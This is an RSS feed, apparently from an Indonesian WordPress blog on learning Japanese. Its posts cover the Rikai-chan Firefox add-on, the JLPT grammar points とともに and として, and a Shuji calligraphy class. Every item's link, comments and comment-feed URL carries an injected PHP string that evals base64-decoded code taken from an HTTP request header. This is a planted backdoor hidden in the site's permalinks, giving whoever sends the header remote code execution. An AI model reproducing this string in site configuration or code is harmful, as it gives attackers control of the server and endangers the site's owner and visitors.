<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Uqi`s Life Note &#187; Bahasa Jepang</title>
	<atom:link href="http://ismailfaruqi.jepang.info/category/bahasa-jepang/id/feed/id/" rel="self" type="application/rss+xml" />
	<link>http://ismailfaruqi.jepang.info</link>
	<description></description>
	<pubDate>Mon, 09 Mar 2009 01:47:54 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>id</language>
			<item>
		<title>Rikai-chan</title>
		<link>http://ismailfaruqi.jepang.info/2008/10/12/rikai-chan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/10/12/rikai-chan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 03:10:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Software Bahasa Jepang]]></category>

		<category><![CDATA[firefox jepang]]></category>

		<category><![CDATA[penerjemah bahasa jepang]]></category>

		<category><![CDATA[rikai chan]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.jepang.info/?p=146</guid>
		<description><![CDATA[Apakah anda frustasi menjelajahi situs berbahasa Jepang yang tak terbaca itu? Jangan takut, gunakan Rikai-chan, salah satu penolong anda ketika membaca tulisan Jepang di internet.]]></description>
			<content:encoded><![CDATA[<p>Ia selalu menemani saya. Saya tidak bisa hidup di Jepang tanpanya. Ia selalu hadir saat saya butuhkan. Apapun pertanyaan saya, hampir selalu dapat dijawabnya. Siapakah ia? Dia adalah Rikai-chan.</p>
<p>Tapi tunggu&#8230; Rikai-chan bukanlah nama cewek Jepang. Rikai-chan yang ini adalah <em>perangkat lunak</em>. Yap, Rikai-chan adalah sebuah add-on bagi browser Mozilla Firefox untuk menerjemahkan kata dalam Jepang ke bahasa Inggris. Dengan bantuan Rikai-chan, kata-kata yang sulit dibaca dapat diketahui artinya. Seperti apa sih kerja Rikai-chan?</p>
<h3>Cara Kerja</h3>
<p>Begini, misalkan anda membuka sebuah situs berbahasa Jepang, katakanlah <a href="http://www.kakaku.com">Kakaku</a>. Di sana mungkin anda akan menemukan berbagai karakter yang sulit dimengerti.</p>
<p><img class="alignnone size-full wp-image-150" title="Contoh web kakaku.com" src="http://ismailfaruqi.jepang.info/wp-content/uploads/2008/10/kakaku-untranslated.jpg" alt="" /></p>
<h5 style="text-align: center;">Gambar 1: Contoh web kakaku.com</h5>
<p>Nah, anda bisa mengaktifkan Rikai-chan melalui menu <strong>Tools-&gt;Rikaichan</strong>. Setelah itu, jika anda menggerakkan mouse ke atas karakter berbahasa Jepang&#8230; maka muncullah translasinya!</p>
<p><img class="alignnone size-full wp-image-151" title="Rikai-chan beraksi di web kakaku.com" src="http://ismailfaruqi.jepang.info/wp-content/uploads/2008/10/kakaku-translated.jpg" alt="" /></p>
<h5 style="text-align: center;">Gambar 2: Rikai-chan beraksi di web kakaku.com</h5>
<h3>Instalasi</h3>
<p>Bagaimana, tertarik? Kalau iya, langsung install saja! Ikuti langkah berikut:</p>
<ol>
<li>Install browser <a href="http://www.mozilla.com/en-US/firefox/">Mozilla Firefox</a>. Jika Firefox sudah terpasang di komputer anda, maka abaikan langkah ini. Namun jika anda masih menggunakan browser Internet Explorer (IE), maka biarkan IE melakukan tugas mulianya yang terakhir, yakni <a href="http://www.mozilla.com/en-US/firefox/">mendownload Firefox</a>.</li>
<li>Dengan Firefox yang sudah terbuka, kunjungi situs Rikai-chan: <a href="http://www.polarcloud.com/rikaichan/">http://www.polarcloud.com/rikaichan/</a></li>
<li>Klik versi Rikai-chan terbaru.</li>
<li>Klik &#8220;<em>Install Now</em>&#8220;.</li>
<li>Klik &#8220;<em>Restart Firefox</em>&#8220;.</li>
<li>Rikai-chan ter-<em>install</em> di komputer anda!</li>
<li>Untuk mengaktifkan Rikai-chan, klik menu <strong>Tools-&gt;Rikaichan</strong></li>
</ol>
<p>Nah, sekarang lebih pede kan browsing situs berbahasa Jepang? <img src='http://ismailfaruqi.jepang.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/10/12/rikai-chan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>～とともに</title>
		<link>http://ismailfaruqi.jepang.info/2008/10/11/totomoni/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/10/11/totomoni/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 01:28:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[JLPT 2]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.jepang.info/?p=141</guid>
		<description><![CDATA["Bersamaan dengan lulusnya saya, pengumuman kerja keluar". Bagaimana mengungkapkan dua buah hal yang terjadi secara bersamaan dalam bahasa Jepang? Gunakan "とともに(to-tomoni)"!]]></description>
			<content:encoded><![CDATA[<h3>Arti</h3>
<p>Bersama dengan&#8230;</p>
<h3>Penggunaan</h3>
<p><span style="color: #0000ff;">Kata benda</span> + <span style="color: #ff0000;">とともに</span></p>
<h3>Contoh</h3>
<p>お正月は<span style="color: #0000ff;">家族<span style="color: #ff0000;">とともに</span></span>過ごしたい。</p>
<p style="padding-left:30px;">O-shougatsu-wa-<span style="color: #0000ff;">kazoku</span>-<span style="color: #ff0000;">totomoni</span>-sugoshitai.</p>
<p style="padding-left:30px;">Saya ingin melewatkan tahun baru <span style="color: #ff0000;">bersama</span> keluarga.</p>
<p>大阪は<span style="color: #0000ff;">東京</span><span style="color: #ff0000;">とともに</span>日本経済の中心地である。</p>
<p style="padding-left:30px;">Oosaka-wa-<span style="color: #0000ff;">Toukyou</span>-<span style="color: #ff0000;">totomoni</span>-nihon-keizai-no-chuushinchi-dearu.</p>
<p style="padding-left:30px;">Osaka, <span style="color: #ff0000;">bersama</span> Tokyo, adalah sentral ekonomi Jepang.</p>
<h3>Arti</h3>
<p>Dalam waktu yang bersamaan&#8230;</p>
<h3>Penggunaan</h3>
<p>Kata kerja =&gt; <span style="color: #ff6600;">bentuk kamus</span> + <span style="color: #ff0000;">とともに</span></p>
<p>Kata sifat berakhiran い =&gt; <span style="color: #ff00ff;">い</span> + <span style="color: #ff0000;">とともに</span></p>
<p>Kata sifat berakhiran な =&gt; <span style="color: #008000;">である</span> + <span style="color: #ff0000;">とともに</span></p>
<p>Kata benda =&gt; <span style="color: #0000ff;">である</span> + <span style="color: #ff0000;">とともに</span></p>
<h3>Contoh</h3>
<p>小林氏は、学生を<span style="color: #ff6600;">指導する</span><span style="color: #ff0000;">とともに</span>、研究にも力を入れている。</p>
<p style="padding-left:30px;">Kobayashishi-wa-gakusei-wo-<span style="color: #ff6600;">shidou-suru</span>-<span style="color: #ff0000;">totomoni</span>-kenkyuu-mo-chikara-wo-ireteiru.</p>
<p style="padding-left:30px;">Tuan Kobayashi, <span style="color: #ff0000;">selain</span> <span style="color: #ff6600;">membimbing</span> mahasiswa <span style="color: #ff0000;">juga</span> membantu penelitian.</p>
<p>代表に選ばれなくて<span style="color: #ff00ff;">くやしい</span><span style="color: #ff0000;">とともに</span>、ほっとする気持ちもあった。</p>
<p style="padding-left:30px;">Daihyou-ni-erabarenakute-<span style="color: #ff00ff;">kuyashii</span>-<span style="color: #ff0000;">totomoni</span>-hottosuru-kimochi-mo-atta.</p>
<p style="padding-left:30px;">Karena tidak terpilih menjadi delegasi, <span style="color: #ff0000;">selain</span> <span style="color: #ff00ff;">kecewa</span> <span style="color: #ff0000;">juga</span> merasa lega</p>
<p>この製品の開発は、<span style="color: #339966;">困難である</span><span style="color: #ff0000;">とともに</span>、費用がかかる。</p>
<p style="padding-left:30px;">Kono-seihin-no-kaihatsu-wa-<span style="color: #339966;">konnan-dearu</span>-<span style="color: #ff0000;">totomoni</span>-hiyou-ga-kakaru.</p>
<p style="padding-left:30px;">Pengembangan produk ini, <span style="color: #ff0000;">selain</span> <span style="color: #339966;">sulit</span> <span style="color: #ff0000;">juga</span> memakan biaya.</p>
<p>義務教育は、<span style="color: #0000ff;">国民の義務である</span><span style="color: #ff0000;">とともに</span>、権利でもある。</p>
<p style="padding-left:30px;">Gimu-kyouiku-wa-<span style="color: #0000ff;">kokumin-no-gimu-dearu</span>-<span style="color: #ff0000;">totomoni</span>-kenri-demo-aru.</p>
<p style="padding-left:30px;">Pendidikan wajib, <span style="color: #ff0000;">selain</span> <span style="color: #0000ff;">kewajiban warga negara</span>, <span style="color: #ff0000;">juga</span> merupakan hak.</p>
<h3>Arti</h3>
<p>Bersamaan dengan sebuah perubahan, perubahan yang lain pun terjadi.</p>
<h3>Penggunaan</h3>
<p>Kata kerja =&gt; <span style="color: #ff6600;">bentuk kamus</span> + <span style="color: #ff0000;">とともに</span></p>
<p><span style="color: #0000ff;">Kata benda</span> + <span style="color: #ff0000;">とともに</span></p>
<h3>Contoh</h3>
<p><span style="color: #ff6600;">年をとる</span><span style="color: #ff0000;">とともに</span>、体力が衰える。</p>
<p style="padding-left:30px;"><span style="color: #ff6600;">Toshi-wo-toru</span>-<span style="color: #ff0000;">totomoni</span>-tairyoku-ga-otoroeru.</p>
<p style="padding-left:30px;"><span style="color: #ff0000;">Bersamaan dengan</span> <span style="color: #ff6600;">penuaan</span>, kekuatan tubuh pun melemah.</p>
<p>自動車が<span style="color: #ff6600;">普及する</span><span style="color: #ff0000;">とともに</span>、交通事故も増えてきた。</p>
<p style="padding-left:30px;">Jidousha-ga-<span style="color: #ff6600;">fukyuu-suru</span>-<span style="color: #ff0000;">totomoni</span>-koutsuu-jiko-mo-fuetekita.</p>
<p style="padding-left:30px;"><span style="color: #ff0000;">Bersamaan dengan</span> <span style="color: #ff6600;">menyebarnya</span><span style="color: #ff6600;"> </span>kendaraan, kecelakaan lalu lintas juga meningkat.</p>
<p><span style="color: #0000ff;">経済成長</span><span style="color: #ff0000;">とともに</span>、国民生活も豊かになった。</p>
<p style="padding-left:30px;"><span style="color: #0000ff;">Keizai-seichou</span>-<span style="color: #ff0000;">totomoni</span>-kokumin-seikatsu-mo-yutaka-ni-natta.</p>
<p style="padding-left:30px;"><span style="color: #ff0000;">Bersamaan dengan</span> <span style="color: #0000ff;">pertumbuhan ekonomi</span>, hidup pun menjadi makmur.</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/10/11/totomoni/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>～として（は）・～としても・～としての</title>
		<link>http://ismailfaruqi.jepang.info/2008/10/11/jlpt-level-2-toshite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/10/11/jlpt-level-2-toshite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 01:14:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[JLPT 2]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.jepang.info/?p=140</guid>
		<description><![CDATA[Dalam bahasa Jepang, "として(toshite)" artinya "sebagai". Bagaimana cara menggunakan ekspresi ini dalam sebuah kalimat?]]></description>
			<content:encoded><![CDATA[<h3>Arti</h3>
<p>Mengatakan dengan jelas suatu posisi, kualifikasi, kapabilitas, atau jenis.</p>
<h3>Penggunaan</h3>
<p><span style="color: #0000ff;">Kata benda</span> + <span style="color: #ff0000;">として</span></p>
<h3>Contoh</h3>
<p>彼は国費<span style="color: #0000ff;">留学生</span><span style="color: #ff0000;">として</span>日本へ来た。</p>
<p style="padding-left:30px;">Kare-wa-kokuhi-<span style="color: #0000ff;">ryuugakusei</span>-<span style="color: #ff0000;">toshite</span>-nihon-e-kita.</p>
<p style="padding-left:30px;">Dia datang ke Jepang <span style="color: #ff0000;">sebagai</span> pelajar asing penerima beasiswa.</p>
<p>この病院は<span style="color: #0000ff;">難病</span><span style="color: #ff0000;">として</span>認定された。</p>
<p style="padding-left:30px;">Kono-byouki-wa-<span style="color: #0000ff;">nambyou</span>-<span style="color: #ff0000;">toshite</span>-nintei-sareta.</p>
<p style="padding-left:30px;">Penyakit ini diakui <span style="color: #ff0000;">sebagai</span> penyakit yang tidak bisa disembuhkan.</p>
<p>あの人は学者として立派だが、<span style="color: #0000ff;">人間</span><span style="color: #ff0000;">として</span>は尊敬できない。</p>
<p style="padding-left:30px;">Ano-hito-wa-<span style="color: #0000ff;">gakusha</span>-<span style="color: #ff0000;">toshite</span>-rippa-danga-ningen-toshite-wa-sonkei-dekinai.</p>
<p style="padding-left:30px;">Meski orang itu memuaskan sebagai ilmuwan, <span style="color: #ff0000;">sebagai</span> manusia ia tidak bisa menghargai.</p>
<p>彼は医者であるが、<span style="color: #0000ff;">小説家</span><span style="color: #ff0000;">としても</span>有名である。</p>
<p style="padding-left:30px;">Kare-wa-isha-dearu-ga-<span style="color: #0000ff;">shousetsuka</span>-<span style="color: #ff0000;">toshitemo</span>-yuumei-dearu.</p>
<p style="padding-left:30px;">Meski dia seorang dokter, <span style="color: #ff0000;">sebagai</span> novelis juga terkenal.</p>
<p>日本はアジアの<span style="color: #0000ff;">一員</span><span style="color: #ff0000;">としての</span>役割を果たさなければならない。</p>
<p style="padding-left:30px;">Nihon-wa-ajia-no-<span style="color: #0000ff;">ichiin</span>-<span style="color: #ff0000;">toshiteno</span>-yakuwari-wo-hatasanakerebanarai.</p>
<p style="padding-left:30px;">Jepang harus memenuhi perannya <span style="color: #ff0000;">sebagai</span> anggota Asia.</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/10/11/jlpt-level-2-toshite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Shuji (Kaligrafi Jepang)</title>
		<link>http://ismailfaruqi.jepang.info/2007/06/08/shuji-kaligrafi-jepang/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/06/08/shuji-kaligrafi-jepang/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Fri, 08 Jun 2007 14:31:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Bahasa Jepang]]></category>

		<category><![CDATA[Iseng]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/06/08/shuji-kaligrafi-jepang/</guid>
		<description><![CDATA[Yatta! Hari ini, materi les Bahasa Jepang adalah Shuji (kaligrafi huruf Kanji). Karena menarik, saya bahas saja. Seru lho!



Peralatan
Peralatan apa yang dibutuhkan? Kita lihat yuk! Yang pertama adalah kuas. Kuas ini ada yang besar, ada juga yang kecil.


Yang kedua, Tinta Cinta&#8230; eh Tinta Cina. Yah, kalau ke Jepang namanya tentu saja jadi Tinta Jepang&#8230;


Yang ketiga, [...]]]></description>
			<content:encoded><![CDATA[<p><em>Yatta</em>! Hari ini, materi les Bahasa Jepang adalah Shuji (kaligrafi huruf Kanji). Karena menarik, saya bahas saja. Seru lho!</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01347_new.jpg" title="Shuji bersama."></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01347_new.jpg" title="Shuji bersama."><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01347_new.thumbnail.jpg" alt="Shuji bersama." /></a></p>
<p><span id="more-78"></span></p>
<p><strong>Peralatan</strong><br />
Peralatan apa yang dibutuhkan? Kita lihat yuk! Yang pertama adalah <u>kuas</u>. Kuas ini ada yang besar, ada juga yang kecil.</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01350_new.jpg" title="Kuas"></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01350_new.jpg" title="Kuas"><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01350_new.thumbnail.jpg" alt="Kuas" /></a></p>
<p>Yang kedua, Tinta Cinta&#8230; eh <u>Tinta Cina</u>. Yah, kalau ke Jepang namanya tentu saja jadi Tinta Jepang&#8230;</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01351_new.jpg" title="Tinta Cina"></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01351_new.jpg" title="Tinta Cina"><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01351_new.thumbnail.jpg" alt="Tinta Cina" /></a></p>
<p>Yang ketiga, saya tidak tahu namanya tapi fungsinya untuk mewadahi tinta. Yah, kita namakan saja <u>Palet</u>. Meski kalau dilihat bentuknya lebih tepat disebut ulekan sambal&#8230;</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01349_new.jpg" title="Tempat Menaruh Tinta"></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01349_new.jpg" title="Tempat Menaruh Tinta"><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01349_new.thumbnail.jpg" alt="Tempat Menaruh Tinta" /></a></p>
<p>Nah, yang terakhir adalah kertas. Sediakan dua jenis kertas: Yang jelek dan yang bagus. Yang jelek untuk latihan menulis, sedangkan yang bagus untuk tempat menulis karya terbaik. Kalau anda punya uang untuk dibuang, tentu saja anda bisa menggunakan kertas jenis yang bagus untuk latihan&#8230;</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01348_new.jpg" title="Kertas"></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01348_new.jpg" title="Kertas"><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01348_new.thumbnail.jpg" alt="Kertas" /></a></p>
<p><strong>Menggambar dengan Benar</strong><br />
Nah, sekarang cara menggambar Shuji yang benar. Inilah caranya:</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01341_new.jpg" title="Cara menggambar Shuji yang benar."></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01341_new.jpg" title="Cara menggambar Shuji yang benar."><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01341_new.thumbnail.jpg" alt="Cara menggambar Shuji yang benar." /></a></p>
<p>Pokoknya, posisi kakinya seperti itu. Posisi kuas harus tegak lurus sama permukaan gambar. Banyaknya mata kuas yang dibalur tinta harus 3/4 dari panjang mata kuas. Oh ya, kertas harus ditahan, agar tidak bergeser. Lebih jelasnya seperti ini,</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01342_new.jpg" title="Kertas harus ditahan oleh beban agar tidak bergeser."></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01342_new.jpg" title="Kertas harus ditahan oleh beban agar tidak bergeser."><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01342_new.thumbnail.jpg" alt="Kertas harus ditahan oleh beban agar tidak bergeser." /></a></p>
<p>Ngomong-ngomong posisi duduk, berikut ini adalah cara duduk yang salah:</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01344_new.jpg" title="Cara duduk Shuji yang salah (1)"></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01344_new.jpg" title="Cara duduk Shuji yang salah (1)"><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01344_new.thumbnail.jpg" alt="Cara duduk Shuji yang salah (1)" /> </a><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01343_new.jpg" title="Cara duduk Shuji yang salah (2)"><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01343_new.thumbnail.jpg" alt="Cara duduk Shuji yang salah (2)" /></a></p>
<p>Mau tahu kesalahan mereka? Kesalahan orang paling kiri adalah menggambar sambil jongkok. Kesalahan orang di tengah adalah: 1) duduk dengan posisi seperti makan nasi bungkus, 2) Menahan kertas dengan jempol kaki. Sedangkan kesalahan orang yang paling kanan adalah berpose dengan narsis&#8230;</p>
<p><strong>Hasil</strong><br />
Ok, inilah hasilnya! Di kaligrafi ini tertulis &#8220;Dokusho&#8221;, yang artinya &#8220;hobi baca&#8221;.</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01340_new.jpg" title="Hasil Shuji punya Uqi"></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01340_new.jpg" title="Hasil Shuji punya Uqi"><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01340_new.thumbnail.jpg" alt="Hasil Shuji punya Uqi" /></a></p>
<p>Keren kan? Atau b-b-b-biasa aja? Kalau belum mencoba saya rasa tidak akan merasakan seninya! (Ceila, blagu amat baru sekali gambar ajah&#8230;)</p>
<p>Kata sensei, Shuji bisa dipakai untuk melihat sifat seseorang lho&#8230; Entah bagaimana caranya. Tapi melihat sifat seseorang bisa lewat macam-macam kan? Mau lewat kartu, tangan, atau shuji, asalkan kita jago ngomong kan beres.</p>
<p>Ok, terima kasih kepada teman-teman dan Dewi-sensei yang telah menyediakan peralatan (saya memang tidak modal, huhuhu). <em>Tanoshikatta so</em>! BTW ini Dewi-sensei yang mengajari kami kaligrafi Jepang.</p>
<p><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01345_new.jpg" title="Dewi sensei."></a></p>
<p style="text-align:center;"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/06/dsc01345_new.jpg" title="Dewi sensei."><img src="http://ismailfaruqi.files.wordpress.com/2007/06/dsc01345_new.thumbnail.jpg" alt="Dewi sensei." /></a></p>
<p>Aah, selesai juga posting. Saatnya mengerjakan TA kembali&#8230; Doakan saya yah teman-teman? Saya sudah bosan ditanya, &#8220;Kapan seminar???&#8221; <img src='http://ismailfaruqi.jepang.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />
<p style="text-align:center;" align="right">&nbsp;</p>
<p style="text-align:center;" align="center">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/06/08/shuji-kaligrafi-jepang/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
	</channel>
</rss>
